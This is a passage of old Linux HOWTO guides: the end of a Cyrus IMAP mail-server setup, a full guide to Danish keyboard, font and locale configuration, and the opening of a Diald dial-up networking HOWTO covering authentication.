  3. mkdir /var/imap /var/spool/imap /var/imap/srvtab
  4. chown cyrus /var/imap /var/spool/imap /var/imap/srvtab
  5. chgrp mail /var/imap /var/spool/imap /var/imap/srvtab
  6. chmod 750 /var/imap /var/spool/imap /var/imap/srvtab
  7. su cyrus

You are now the user cyrus. This is necessary for the files to have the correct owner and group. Continue:

  1. tools/mkimap
  2. cd /var/imap
  3. chattr +S . user quota user/* quota/*
  4. chattr +S /var/spool/imap
  5. exit

You are now root again. The last command:

chattr +S /var/spool/mqueue

7.3 More configuration file editing

  1. Edit /etc/services and check for the following lines. If they do not exist, add them:
            pop3    110/tcp
        imap    143/tcp
        imsp    406/tcp
        kpop    1109/tcp
        sieve   2000/tcp
  2. Edit /etc/inetd.conf and comment out any imap and pop3 lines and add the following:
            imap    stream  tcp     nowait  cyrus   /usr/cyrus/bin/imapd    imapd
        pop3    stream  tcp     nowait  cyrus   /usr/cyrus/bin/pop3d    pop3d
  3. Edit /etc/sendmail.mc with care not to add extra spaces and add the following lines(do not copy and paste directly from this text as the tabs won't be added correctly):
      MAILER(local)
  MAILER(cyrus)
  define(`confLOCAL_MAILER',`cyrus')
  LOCAL_RULE_0
  R$=N                   $: $#local $: $1
  R$=N < @ $=w . >       $: $#local $: $1
  Rbb + $+ < @ $=w . >   $#cyrusbb $: $1
    Use tabs to separate the data (i.e. R$=N has three tabs between it and $: $#local $: $1) Then run: m4 sendmail.mc > sendmail.cf
  4. Edit /etc/group and add the user daemon to the mail group.

7.4 If you use postfix instead of sendmail

Postfix is a mail-deliver alternative to sendmail. Most linux installations use sendmail by default. If you use postfix, ignore configuration #3 from the last section and uncomment or add the following line in /etc/postfix/master.cf

cyrus   unix    -       n       n       -       -       pipe    flags=R user=cyrus      argv=/usr/sbin/cyrdeliver -e -m ${extension} ${user}

Also add or uncomment this line in /etc/postfix/main.cf

local_transport = cyrus


Cyrus IMAP HOWTO: Cyrus IMAP Implementation

 Next Previous Contents

8. Cyrus IMAP Implementation

8.1 Add the cyrus administrator

Run the following command to set up a user for cyrus

/usr/local/sbin/saslpasswd cyrus

8.2 Testing Cyrus IMAP

  1. killall -HUP inetd
  2. su cyrus
  3. imtest -m login -p imap localhost

Enter your password. If you see something like:

        (L01 OK User logged in means you're in)

Then the setup has been successful. Type

        . logout

to log out.

8.3 Setting up users

Still as the user cyrus, type the following commands. They will set up the mailbox(es) for each user. Fill in the username where you see the (username).

  1. cyradm localhost
  2. cm user.joebob (for all the user joebob)
  3. quit
  4. exit (back as root)

Now as root, enter a password for each username

saslpasswd (username)

8.4 Delivery database pruning

If you don't periodically prune the database of deliveries, you can fill up your file system. Adding a cron job which will run once a day is one way to do this. That involves going to /etc/cron.daily and creating a file named cyrus-imapd. Inside that file, put the following two lines of code:

#!/bin/bash
su cyrus -s /bin/bash -c '/usr/cyrus/bin/deliver -E 3'

Make this script executable by running: chmod 755 cyrus-imapd

You should also create the deliverdb directory to store database files in:

mkdir /var/imap/deliverdb

8.5 Finishing up

Reboot the machine to make sure that everything has been restarted under the new configuration


Cyrus IMAP HOWTO: Troubleshooting

 Next Previous Contents

9. Troubleshooting

If you encounter any errors, you can do the following to view error messages:

  1. tail /var/log/messages
  2. tail /var/adm/imapd.log
  3. killall sendmail && sendmail -bd -X /root/error.log (then read /root/error.log)

If you are having "virtual memory exhausted errors" when compiling, running

ulimit -d unlimited

as root has been reported to work.


The Linux Danish/International HOWTO

Niels Kristian Bech Jensen nkbj@sslug.dk

v2.6, 9 March 2000

This document describes how to configure Linux and various Linux applications for Danish locale standards such as keyboard, font, paper-size etc. It is hoped that Linux users from other places in Western Europe will find this document useful too.

1. Introduction

2. Keyboard setup

  • 2.1 Loading a keytable
  • 2.2 Getting the AltGr key to work under X11
  • 2.3 Dead keys and accented characters
  • 2.4 Making $ (the dollar sign), ø (oslash) and Ø (Oslash) work

3. Display and application setup

  • 3.1 Loading the ISO-8859-1 font on the console
  • 3.2 The Euro symbol
  • 3.3 Characters you can display under Linux
  • 3.4 International character sets in specific applications

4. Miscellaneous problems

  • 4.1 Time zone
  • 4.2 A4 papersize
  • 4.3 Text file formats for other platforms

5. Locale support in libc 5.4.x and higher

6. Programming tips for X11

7. Getting X11 applications to speak Danish

8. Information resources

  • 8.1 Other documents of relevance
  • 8.2 FTP and Web sites

9. Credits and legal stuff

  • 9.1 Legal stuff


The Linux Danish/International HOWTO: Introduction

 Next Previous Contents

1. Introduction

All European users of almost any operating system have two problems: The first is to tell the computer that you have a non-American keyboard, and the second is to get the computer to display the special characters. To make matters worse some applications will also consider you an exception if you are not an American and require special options or the setting of environment variables.

Under Linux you change the way your computer interprets the keyboard with the commands loadkeys and xmodmap. loadkeys will modify the keyboard for plain Linux while xmodmap makes the modifications necessary when the handshaking between X11 and Linux is imperfect.

To display the characters you need to tell your applications that you use the ISO-8859-1 (a.k.a. Latin-1) international set of glyphs. This is not always necessary, but a number of key applications need special attention.

This HOWTO is intended to tell Danish users how to do this. If you continue to have problems after reading this you can try the German HOWTO, the Linux Keyboard and Console HOWTO or the ISO 8859-1 National Character Set FAQ. Many of the hints contained herein are cribbed from there. See section Other documents of relevance for pointers to these documents. You should also send me a mail describing your problems.

A final problem is that error-messages, menus and documentation of the applications are mostly in English. There is a GNU project under way to address this problem. You can see what it is all about by downloading the file ABOUT-NLS or the package gettext-0.10.tar.gz (or any later version) from your favourite mirror of the GNU archive. This project needs volunteers for the translations. Send a mail to da-request@li.org with the body ``subscribe'' if you want to contribute to the Danish part of the project. The documentation in the gettext package describes how to use such translations in your own programs.


The Linux Danish/International HOWTO: Keyboard setup

 Next Previous Contents

2. Keyboard setup

2.1 Loading a keytable

You have two tools for configuring your keyboard. Under plain Linux you have loadkeys and under X11 you have xmodmap.

To try out loadkeys type one of these two commands:

loadkeys /usr/lib/kbd/keytables/dk.map
or
loadkeys /usr/lib/kbd/keytables/dk-latin1.map

The difference between the two keymaps is that dk-latin1.map enables `dead' keys while dk.map does not. Dead keys are explained in section Dead keys and accented characters. The program loadkeys and the keymaps are part of the package kbd-0.??.tar.gz which (with differing version numbers ??) is available with all Linux distributions.

Usually loadkeys is executed at boot-time from one of the scripts under the directory /etc/rc.d/. Details vary between distributions.

(Note for non-Danish readers: Support for other languages is enabled in a similar manner. Use es.map for Spanish keyboards etc.)

Versions of XFree86 up to and including v3.1.2 will normally follow the keymap used by plain Linux, but you can modify keyboard behavior under X11 with xmodmap. Usually the X11 initialization process will run this command automatically if you have a file called .Xmodmap in your home directory.

In XFree86 v3.2 and higher you should have the following Keyboard section in your /etc/XF86Config (or /etc/X11/XF86Config) file (it should be made automatically by the program XF86Setup if you choose a Danish keytable):

Section "Keyboard"
   Protocol        "Standard"
   XkbRules        "xfree86"
   XkbModel        "pc101"
   XkbLayout       "dk"
   XkbVariant      "nodeadkeys"
EndSection

The only keyboard variant available at the moment is "nodeadkeys", but dead keys can still be made to work. See section Dead keys and accented characters for more information on this.

2.2 Getting the AltGr key to work under X11

For versions of XFree86 up to and including v3.1.2 you should edit the file /etc/XF86Config (or /etc/X11/XF86Config) and make sure the line

RightAlt    ModeShift
appears in the Keyboard section. Usually you can do this by uncommenting the appropriate line. In XFree86 v3.1.2 you can use AltGr as an alias for RightAlt.

The AltGr key should work as expected in XFree86 v3.2 and higher if you choose Danish keyboard support.

Making {, [, ] and } work under Metro-X

You can't input the characters ``{'' (<AltGr><7>), ``['' (<AltGr><8>), ``]'' (<AltGr><9>) and ``}'' (<AltGr><0>) under the Metro-X server. This bug has been observed under versions 3.1.5 and 3.1.8 of the server.

To correct this bug you have to edit the file /usr/X11R6/lib/X11/xkb/symbols/dk and change the lines

key <AE07> {    [               7,           slash      ]       };
key <AE08> {    [               8,       parenleft      ]       };
key <AE09> {    [               9,      parenright      ]       };
key <AE10> {    [               0,           equal      ]       };
to
key <AE07> {    [               7,           slash      ],
                [       braceleft,        NoSymbol      ]       };
key <AE08> {    [               8,       parenleft      ],
                [     bracketleft,        NoSymbol      ]       };
key <AE09> {    [               9,      parenright      ],
                [    bracketright,        NoSymbol      ]       };
key <AE10> {    [               0,           equal      ],
                [      braceright,        NoSymbol      ]       };

2.3 Dead keys and accented characters

Dead keys are those that do not type anything until you hit another key. Tildes and umlauts are like this by default under plain Linux if you use the dk-latin1.map keymap. This is the default behaviour for these keys under Microsoft Windows as well.

Removing dead key functionality

  • Removing dead key functionality under plain Linux and XFree86 v3.1.2 Under plain Linux type
    loadkeys dk.map
  • Removing dead key functionality under XFree86 v3.2 and higher Put the following line in the Keyboard section of your /etc/XF86Config (or /etc/X11/XF86Config) file:
    XkbVariant      "nodeadkeys"

Invoking dead key functionality

  • Invoking dead key functionality under plain Linux Under plain Linux type
    loadkeys dk-latin1.map
  • Invoking dead key functionality under X11R6 sessions First you must make sure you are running XFree86 v3.1.2 or higher. Download and install everything related to the newest release if you have a lower version number. Neither compose nor dead keys will work in X11R6 applications unless these are compiled with support for accented (8-bit) character input. An example of such an application is GNU emacs version 19.30 (or higher.) Some X11 applications still do not support this input method. Eventually this situation might improve, but until that happens you can either hack your applications or submit polite bug reports to the program authors. The latter approach is often the most efficient. See section Programming tips for X11 for some advice on what needs to be done. Next you will have to map a key to Multi_key (Compose.) The Scroll Lock key is most likely already mapped as such if you use XFree86 v3.1.2 (you can verify this with the program xev,) and it is easy to map the right Control key by uncommenting the appropriate line in the Keyboard section of the XFree86 configuration file (often /etc/XF86Config or /etc/X11/XF86Config.) If you wish to use some other key, or if you are using XFree86 v3.2 or higher and want to change the default, you should put something like
    keycode 78 = Multi_key
    in your ~/.Xmodmap file. The statement in the example defines Scroll Lock as the Compose key. The default Compose key in XFree86 v3.2 and higher is <Shift><AltGr>. XFree86 v3.2 and higher comes without support for the dead keys on the standard Danish keyboard. To get this support you have to change a few lines in the xkb_symbols "basic" section of the file /usr/X11R6/lib/X11/xkb/symbols/dk. The lines
    key <AE12> {    [           acute,           grave      ],
                [             bar,     dead_ogonek      ]       };
key <AD12> {    [       diaeresis,     asciicircum      ],
                [      asciitilde,     dead_macron      ]       };
    should be changed to
    key <AE12> {    [      dead_acute,      dead_grave      ],
                [             bar,     dead_ogonek      ]       };
key <AD12> {    [  dead_diaeresis, dead_circumflex      ],
                [      dead_tilde,     dead_macron      ]       };
    After these changes you can get support for dead keys by removing the line
    XkbVariant      "nodeadkeys"
    from the Keyboard section of your /etc/XF86Config (or /etc/X11/XF86Config) file. (Note for non-Danish readers: There are files for many local keyboard maps in /usr/X11R6/lib/X11/xkb/symbols.) The available keystroke combinations are listed in /usr/X11R6/lib/X11/locale/iso8859-1/Compose. There are some bugs in that file you will want to fix:
    • The line reading
      <dead_tilde> <space>                    : "~"   tilde
      should be changed to
      <dead_tilde> <space>                    : "~"   asciitilde
    • In several places asciicircum is misspelled as asciicirum
    Finally make sure your shells and/or applications are set up for ISO-8859-1 compatibility as described in section International character sets in specific applications and you should be all set.

2.4 Making $ (the dollar sign), ø (oslash) and Ø (Oslash) work

$ (the dollar sign)

There is a bug in the Danish keymaps causing the dollar sign to be accessed with <Shift><4> instead of <AltGr><4> by default. If this is a problem for you, determine what keymap you load at boot-time. You can find it by looking around in the directory /etc/rc.d/ or simply by paying attention to what happens at boot-time. On my computer the relevant keymap is called /usr/lib/kbd/keytables/dk-latin1.map. You can fix the problem by changing the line

keycode   5 = four             dollar           dollar
in the keymap file to
keycode   5 = four             currency         dollar
and then (re-)loading the keytable as described in section Loading a keytable. Currency (dansk: ``soltegn'') is the default <Shift><4> character on a Danish keyboard.

This should fix the problem for both X11 and plain Linux.

ø (oslash) and Ø (Oslash)

In some older distributions ``ø'' and ``Ø'' appear as cent and yen. Find the line for keycode 40 in the keymap file and change it from

keycode  40 = cent              yen
to
keycode  40 = +oslash           +Ooblique

This bug appears to have been fixed in kbd-0.88.tar.gz and newer versions.

The plus signs are necessary to get Caps Lock working properly. ``Oslash'' can be used as an alias for ``Ooblique'' in kbd-0.90.tar.gz and newer versions.

You can read more about keyboard configuration at this site.


The Linux Danish/International HOWTO: Display and application setup

 Next Previous Contents

3. Display and application setup

Most applications need to be compiled as ``8-bit-clean'' to work well with European characters. Some need a few extra hints to get it right.

3.1 Loading the ISO-8859-1 font on the console

Execute the following commands from your shell prompt:

setfont lat1u-16.psf

In Red Hat Linux 5.2 and higher you can do this by adding these lines to /etc/sysconfig/i18n:

SYSFONT=lat1u-16.psf
SYSTERM=linux
Due to a bug in the ncurses package on Red Hat Linux 5.2, you also have to change ``linux-lat'' to ``linux'' in /etc/profile.d/lang.sh. This is not necessary in Red Hat Linux 6.0.

3.2 The Euro symbol

A new symbol has been added to the Danish character set: The symbol for the Euro (the new currency of the European Monetary Union.) A new character set called ISO-8859-15 a.k.a. latin0 (or latin9) has been created to replace ISO-8859-1 (latin1.) You must use the EURO package to get support for latin0. The package includes both fonts and keymaps.

3.3 Characters you can display under Linux

Type dumpkeys -l | less at the prompt to find out which characters that are readily available. You can map them to your keyboard via the keymap files mentioned in section Loading a keytable.

3.4 International character sets in specific applications

A number of applications demand special attention. This section describes how to set up configuration files for them.

bash:

Put the following in your ~/.inputrc file:

set meta-flag on
set convert-meta off
set output-meta on

elm:

Put the following definitions in your ~/.elm/elmrc file:

charset = iso-8859-1
displaycharset = iso-8859-1
textencoding = 8bit

This may not work on some versions of elm. You can get partial MIME support in elm if you use metamail.

emacs:

Put the following in your ~/.emacs or the the system-wide initialization file (probably /usr/lib/emacs/site-lisp/default.el or /usr/share/emacs/site-lisp/default.el):

(standard-display-european t)
(set-input-mode (car (current-input-mode))
        (nth 1 (current-input-mode))
        0)

Dead keys should work under GNU emacs provided you use GNU emacs v19.30 or higher and XFree86 v3.1.2 or higher (it works for me anyway,) so do not start researching available elisp packages implementing ``electric keys'' or anything like that. If you want to implement European keyboard conventions in emacs without upgrading, the best choice is probably the remap package available from SunSite DK. There are also two packages called iso-acc.elc and iso-trans.elc included with emacs that have similar functionality, but they are not nearly as powerful.

groff:

Issue the command as

groff -Tlatin1 <your_groff_input_file>
if you want ISO-8859-1 text output.

Remember to change this in /etc/man.config to get latin1 characters working in man (don't remove the -mandoc switch.)

ispell --- Spell checking in Danish:

First make sure that you install version 3.1.20 instead of version 4.0 of ispell. The latter is obsolete and multiple brain-damaged. You can download the sources for ispell at the GNU archive and you can get a Danish dictionary from SSLUG. Follow the compilation instructions and you should have no trouble (One caveat: When defining the variables necessary for compilation you must tell ispell that Linux is a SysV type OS by defining the variable USG.)

When you have installed the Danish dictionary for ispell you can check the spelling of a Danish language file by executing the command:

ispell -d danish -T latin1 -w "æøåÆØÅ" <your_danish_text_file>

(Note for non-Danish readers: You can find dictionaries for most Western languages by reading the file Where included with the sources for ispell.)

joe:

Issue the command as

joe -asis
or put the following in your ~/.joerc file:
-asis

The hyphen character must be in the first column.

kermit:

This is as close as I can get, but not completely satisfying yet. Put the following in your ~/.kermrc file:

set terminal bytesize 8
set command bytesize 8
set file bytesize 8
set language danish
set file character-set latin1-iso
set transfer character-set latin1-iso
set terminal character-set latin1-iso

I think there are more variables to set, but they are hiding. You would have to modify these settings if the remote system is DOS or OS/2 based.

less:

Set the following environment variable:

LESSCHARSET=latin1
This is not necessary if your system support locales. Then you should just set LANG, LC_CTYPE or LC_ALL (see section Locale support in libc 5.4.x and higher.)

ls:

Issue the command as

ls -N
or possibly
ls --8bit

lynx:

Put the following definition in your ~/.lynxrc file:

character_set=ISO Latin 1

This can also be set via the Options menu in lynx. Type `o' and set the relevant option.

man:

See entry for groff in this section.

metamail:

Set the following environment variable:

MM_CHARSET=ISO-8859-1

nn:

Put the following in your ~/.nn/init file:

set data-bits 8

pine:

Put the following definition in your ~/.pinerc file:

character-set=ISO-8859-1

This can also be set via the Setup, Config menu option in pine. It won't hurt to enable enable-8bit-esmtp-negotiation and enable-8bit-nntp-posting (for news) in that menu too.

rlogin:

Issue the command as

rlogin -8 foo.bar.dk

sendmail:

Put (or uncomment) the following in your /etc/sendmail.cf file:

O SevenBitInput=False
O EightBitMode=pass8
O DefaultCharSet=iso-8859-1

tcsh:

Put the following in your /etc/csh.login or ~/.tcshrc file:

setenv LANG C

Actually you just have to define one of the environment variables LANG or LC_CTYPE. The value does not matter. Read the tcsh man page for more information.

telnet:

Put one line of the following type in your ~/.telnetrc file for each host you want to log on to using telnet:

<hostname> set outbinary true

Example:

localhost set outbinary true
foo.bar.dk set outbinary true

TeX/LaTeX:

There are several problems with TeX/LaTeX: You want LaTeX to understand the special characters and you do not want LaTeX to put in English words like ``Chapter'' at the beginning of every chapter or use English typesetting conventions.

Under LaTeX2e the header of your input file should look something like this:

\documentclass[a4paper]{article}

\usepackage[latin1]{inputenc}
\usepackage{t1enc}
\usepackage[danish]{babel}

The first usepackage statement ensures that LaTeX will interpret European characters correctly, so you do not have to use escape codes for European characters. The second one is not strictly necessary, but it is recommended including it to use the new EC fonts (previously called DC fonts.) The third usepackage statement defines a range of standards for typesetting texts in Danish.

All the major Linux distributions now includes the teTeX package. To set up teTeX you must run the script texconfig. Here you can choose Danish hyphenation (dansk: ``orddeling''), A4 papersize for dvips and xdvi etc.

All new Linux distributions include LaTeX2e, but on older systems you might come across LaTeX 2.09. If that happens you can use

\documentstyle[a4,isolatin]{article}
to include support for ISO-8859-1 characters and European paper sizes. A better thing to do would be to ask your system administrator to upgrade to LaTeX2e.

isolatin.sty is available from all CTAN servers.

Some people prefer to use emacs in a special mode which translates ``special'' letters into TeX escape codes, but this method is obsolete.

tin:

Put the following definitions in your ~/.tin/headers file:

Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Now you can post messages with the proper Danish characters in the message body.


The Linux Danish/International HOWTO: Miscellaneous problems

 Next Previous Contents

4. Miscellaneous problems

4.1 Time zone

Denmark is placed in the Central European Time zone (CET or MET,) which (in the winter) is equivalent to Greenwich Mean Time plus 1 (GMT+1.) You set the time zone on a Linux system by making a symbolic link between /usr/lib/zoneinfo/localtime and the file in /usr/lib/zoneinfo/ with a name corresponding to your zone or country. Danes will want to execute one of the commands

ln -sf /usr/lib/zoneinfo/MET /etc/localtime
or
ln -sf /usr/lib/zoneinfo/Europe/Copenhagen /etc/localtime

This automatically sets Daylight Saving Time (GMT+2) in the summer.

You synchronize the system time with the CMOS clock by issuing the command clock as root. If your CMOS clock is set to GMT (a.k.a. UTC --- the standard on proper Unix systems) use

clock -u -s
or if your CMOS clock is set to local time use
clock -s

4.2 A4 papersize

  • ghostscript: Add the command line option -sPAPERSIZE=a4.
  • ghostview: Define the following Xresource:
    Ghostview.pageMedia:  A4
  • TeX/LaTeX, dvips, xdvi: See the entry for TeX/LaTeX in section International character sets in specific applications.

4.3 Text file formats for other platforms

You can translate files between an ISO-8859-1 formatted text file and e.g. a DOS text file using codepage 850 with the recode package. A DOS file called foo.txt would be translated into a proper Unix file with the command

recode cp850:latin1 foo.txt

recode is available as recode-3.4.tar.gz from all mirrors of the GNU archive.


The Linux Danish/International HOWTO: Locale support in libc 5.4.x and higher

 Next Previous Contents

5. Locale support in libc 5.4.x and higher

The locale support has been updated in libc 5.4.x. You can avoid many of the individual program setups described in section International character sets in specific applications if the programs on your system is prepared for locale support. The Debian distribution comes with this support if you install the wg15-locale package. Systems with GNU libc 2 (libc 6.x) support locales by default (see remarks about Red Hat Linux release 5.0 later in this section.)

If you use a system without locale support, you can add such support using the following method:

  1. Make sure you have the latest libc 5.4.x library. You can get this from Yggdrasil Computing.
  2. Make sure you have the localedef program installed. It should come with the library.
  3. Get the locale sources. You can get them from DKUUG. You need to get both locale and charmap sources.
  4. Put the locale sources in /usr/share/i18n/locales/ and the charmap sources in /usr/share/i18n/charmaps/.
  5. Execute the localedef program to build the locale data files:
    localedef -ci da_DK -f ISO_8859-1:1987 da_DK
    (Note for non-Danish readers: You can build locale data files for other locales in the same way. All locale and charmap sources are at the DKUUG site.)

To enable support for the Danish locale on a system with locale support you just have to set one of the following environment variables:

LANG=da_DK
or
LC_ALL=da_DK

Try da_DK.ISO_8859-1 if da_DK does not work.

Both environment variables set all the individual locale catgories. You can also set a single locale category by using the name of the category as an environment variable. The locale catogories are:

Locale category         Application
---------------         -----------
LC_COLLATE              Collation of strings (sort order.)
LC_CTYPE                Classification and conversion of characters.
LC_MESSAGES             Translations of yes and no.
LC_MONETARY             Format of monetary values.
LC_NUMERIC              Format of non-monetary numeric values.
LC_TIME                 Date and time formats.
LC_ALL                  Sets all of the above (overrides all of them.)
LANG                    Sets all the categories, but can be overridden
                        by the individual locale categories.

In Red Hat Linux 5.2 you can set the environment variables LANG and/or LC_ALL in the file /etc/sysconfig/i18n by adding lines such as this:

LC_ALL=da_DK

A few programs such as bash and GNU emacs still need specific setup as described in section International character sets in specific applications, but most should work without further attention. Programs such as nvi which did not work with 8 bit characters before should work now.

Locale support should be more common as distributions based on the new GNU libc 2 become available. Beware that although Red Hat Linux release 5.0 comes with GNU libc 2, the locale support is not working. You have to build the locale data files by executing localedef yourself. You can build the Danish locale data files with the following command:

localedef -c -i da_DK -f ISO-8859-1 da_DK

As of glibc-2.0.7-4.i386.rpm the locale data files are included with the libraries and this is no longer necessary.


The Linux Danish/International HOWTO: Programming tips for X11

 Next Previous Contents

6. Programming tips for X11

Displaying 8-bit charaters is easy. You can use them just as you would use 7-bit ASCII. Getting applications to accept input of special characters is an entirely different matter.

If you are using e.g. the Xt toolkit and a widget set like Motif you need only add one line to your program. As your first call to Xt use XtSetLanguageProc. Like this:

    int main (int argc, char** argv)
    {
        ...
        XtSetLanguageProc (NULL, NULL, NULL);
        top = XtAppInitialize ( ... );
        ...
    }

Now your program will automagically look up the LC_CTYPE variable and interpret dead keys etc. according to the Compose tables in /usr/X11R6/lib/X11/locale/. This should work for all Western European keyboard layouts and is entirely portable. As XFree86 multilanguage support gets better your program will also be useful in Eastern Europe and the Middle East.

This method of input is supported by Xt, Xlib and Motif v1.2 (and higher.) According to the information I have available it is only partially supported by Xaw. If you have further information on this subject I would like to hear from you.

This section was adapted from a more extensive discussion in Michael Gschwind's Programming for Internationalization. See section Other documents of relevance for a pointer to that document.


The Linux Danish/International HOWTO: Getting X11 applications to speak Danish

 Next Previous Contents

7. Getting X11 applications to speak Danish

To get Danish texts on menus, buttons, etc. in a well behaved X11 application, you just have to translate the resource strings defining the texts. Jacob Nordfalk has done such translations for a lot of applications including Netscape and Ghostview. The translations and a description of how to install them can be found at this site.


The Linux Danish/International HOWTO: Information resources

 Next Previous Contents

8. Information resources

8.1 Other documents of relevance

The HOWTOs are available from all mirrors of www.linuxdoc.org. There is a Danish mirror at SunSite DK.

The German HOWTO (in German) by Winfried Trümper. A lot of other national HOWTOs such as Finnish, Spanish and Polish are also available in the native languages.

The Linux Keyboard and Console HOWTO by Andries Brouwer.

The ISO 8859-1 National Character Set FAQ and Programming for Internationalization (plus much more) by Michael Gschwind is available from this site.

8.2 FTP and Web sites

SSLUG (Skåne Sjælland Linux User Group) is a Swedish/Danish Linux user group. Their mailing list is a good place to get help with Linux in Danish (or Swedish.) They are also hosts for this document.

AUC in Ålborg is the home of SunSite DK which has the Debian and Red Hat distributions, the latest kernels, a mirror of the Linux Documentation Project and mirrors of metalab.unc.edu and the GNU archive. There is also a mirror of the CTAN archive with everything you need to get TeX and LaTeX running.


The Linux Danish/International HOWTO: Credits and legal stuff

 Next Previous Contents

9. Credits and legal stuff

Thanks to Peter Dalgaard, Anders Majland, Jon Haugsand, Jacob Nordfalk, the authors of the German HOWTO, Michael Gschwind and numerous others for suggestions and help with several questions. And a big thanks to the people at Aalborg University Center for writing and making available several of the packages described in this document. A special Thank You to Thomas Petersen; the original author of this document.

9.1 Legal stuff

Trademarks are owned by their owners.

Although the information given in this document is believed to be correct, the author will accept no liability for the content of this document. Use the tips and examples given herein at your own risk.

Copyright © 1996 by Thomas Petersen. Copyright © 1997-2000 by Niels Kristian Bech Jensen. This document may be distributed only subject to the terms and conditions set forth in the LDP license at http://www.linuxdoc.org/COPYRIGHT.html.


Diald Howto

Andrés Seco AndresSH@ctv.es

v1.03, April 17, 2000

This document shows some typical scenarios for easy start using Diald. These scenarios include a connection from a standalone computer to an ISP using PPP over a modem without using pon/poff or ppp-on/ppp-off to a proxy/firewall server with different Internet connections through various ISPs.

1. Introduction

  • 1.1 Objectives
  • 1.2 New versions
  • 1.3 Thanks

2. Copyright and discharge of responsibility

3. Quick Diald operation description

4. Note about authentication

  • 4.1 Username and password - Login and password prompts.
  • 4.2 PAP - Password Authentication Protocol
  • 4.3 CHAP - Challenge Authentication Protocol

5. Notes about DNS name resolution

6. Connecting a standalone computer to an ISP using a modem and PPP

  • 6.1 /etc/diald/diald.options or diald.conf file
  • 6.2 Personal filters file
  • 6.3 Making the call
  • 6.4 Connection start script

7. Conecting a computer to a group of different ISPs with a modem and PPP

  • 7.1 Note about sending mail using a relay host
  • 7.2 Scripts to automate multiple connections and changing from one to another

8. Connecting a proxy/firewall to an ISP using a modem and PPP

  • 8.1 Example for Debian 2.1
  • 8.2 Example for Suse 6.1
  • 8.3 Example for Slackware 3.6

9. Programs and versions used

10. More information


Diald Howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Objectives

This document shows some typical scenarios for easy start using Diald. These scenarios include a connection from a standalone computer to an ISP using PPP over a modem without using pon/poff or ppp-on/ppp-off to a proxy/firewall server with different Internet connections through various ISPs.

In the present document, the following scenarios will be treated:

  • Connecting a standalone computer to an ISP using a modem and PPP
  • Conecting a computer to a group of different ISPs with a modem and PPP
  • Connecting a proxy/firewall to an ISP using a modem and PPP

In following versions of this document, other scenarios will be added, as multiple instances of Diald, ISDN lines and lines used to call and receive calls.

Before this document, a Diald-mini-Howto exist, wrote by Harish Pillay h.pillay@ieee.org, that presented and example of connection to an ISP using a chat based authentication scheme (login and password previous to the pppd start, with no use of PAP or CHAP).

Example configuration files will be included in this document to serve as starting point to get Diald up. To obtain maximum performance and all programs attributes, it is necesary you read all documentation from the programs and reconfigure the example configuration files included here.

Finally, configuration files can be in different directories depending on what GNU/Linux distribution you are using. If you find a file commented here in other directory, please, write me.

1.2 New versions

Latest version of this document can be found in my web page http://www.ctv.es/USERS/andressh/linux, in SMGL and HTML formats. Other versions and formats can be found in Spanish in the Insflug web site, http://www.insflug.org/documentos/Diald-Como/, and in other languages in the LDP - Linux Documentation Project, http://www.linuxdoc.org.

1.3 Thanks

I want to be grateful to the people that help me to get my first Diald up and running with their example files (somebody who's name i forgot, Mr Cornish Rex, Hoo Kok Mun and John Dalbec), to the people that have wrote me to send corrections and suggestions for this document (Tim Coleman, Jacob Joseph, Paul Schmidt and Jordi Mallach), to the future translators of this document to other languages, and, of course, to all the people that have developed and develops Diald for us.

This document was originally wrote in Spanish. The own author translated it, and some people made corrections.


Diald Howto: Copyright and discharge of responsibility

 Next Previous Contents

2. Copyright and discharge of responsibility

This document is Copyright © 2000 Andres Seco, and it's free. You can distribute it under the terms of the GNU General Public License, which you can get at http://www.gnu.org/copyleft/gpl.html. You can get unofficial translated issues somewhere in the Internet.

Information and other contents in this document are the best of our knowledge. However, we may have made errors. So you should determine if you want to follow the instructions given in this document.

Nobody is responsible for any damage to your computer and any other loss derived from the use of the information contained herein.

THE AUTHOR AND MAINTAINERS ARE NOT RESPONSIBLE FOR ANY DAMAGE INCURRED DUE TO ACTIONS TAKEN BASED ON INFORMATION CONTAINED IN THIS DOCUMENT.

Of course, i am open to all type of suggestions and corrections on the content of this document.


Diald Howto: Quick Diald operation description

 Next Previous Contents

3. Quick Diald operation description

In a few words, Diald creates a new network interface and sets it as the default gateway. This interface is not real (in the original documentation it is called proxy interface). Diald monitors this interface, and, when packets arrive, makes a ppp connection, waits for it to be stablished and changes the default gateway to this new ppp interface (usually ppp0).

Diald monitors the interface to determine which packets have been received the interface and their types to decide if they are going to be considered to set the ppp connection up, maintain the link, drop it or do nothing, and how long the link should be help up after the packet is transmitted.

Finally, if there is no more traffic and the last packet up time is over, Diald will close the link.

You can control days and hours when the link can go up and when it cannot, so you can use the low cost hours/days or low trafic times.

This previous description is valid for Diald versions from 0.16.5 to latest (0.99.3 when this document was finished), but latest versions also include aditional attributes such as user enabled list, advanced accounting, better support for ISDN lines, better performance using an ethertap device as proxy (this is like a network interface that read/writes over a socket instead of a real network adapter) in place of slip, backup connections and other functions.


Diald Howto: Note about authentication

 Next Previous Contents

4. Note about authentication

When you connect to an Internet Services Provider, it is usually necesary that you send an username and a password. This can be accomplished using several methods; the exact method that you use is determined by your provider.

Added to the three shown options, you can use a link without authentication, (generally when the remote end is also yours).

4.1 Username and password - Login and password prompts.

Actually, this is not an usual authentication method to access the Internet through an ISP.

Identification is made before pppd is started, and it is the dialer, usually chat, who sends the login name and the password. This data is sent in plaintext, so this method should not be considered secure.

An example script for chat where you can see how to specify username and password to be sent before running pppd would look something like this:

ABORT BUSY
ABORT "NO CARRIER"
ABORT VOICE
ABORT "NO DIALTONE"
ABORT "NO ANSWER"
"" ATZ
OK ATDT_TelephoneNumber_
CONNECT \d\c
ogin _Username_
assword _Password_

The last 2 lines define username and password, and when to send it (after receiving «ogin» and «assword» respectively. The chat script only needs to see parts of the words «login» and «password» and so we don't check the first letter of each. This is so that we don't need to worry about uppercase/lowercase characters.

Suppose that this script is called provider, and it is saved into the /etc/chatscripts directory. Then, you can run it with:

/usr/sbin/chat -v -f /etc/chatscripts/provider

4.2 PAP - Password Authentication Protocol

If the provider you are using requires PAP as the authentication protocol, during the LCP negotiation in PPP this protocol will be asked to use this protocol. When the phone call is connected after using chat, pppd is started. In this scenario, pppd will send the username and the password, which it will look for in the /etc/ppp/pap-secrets file. This file must have read and write permissions only for root only, so that nobody else can read the passwords inside it.

PAP is not very secure, as the password is sent in plaintext, so can be read by somebody that monitors your transmission line.

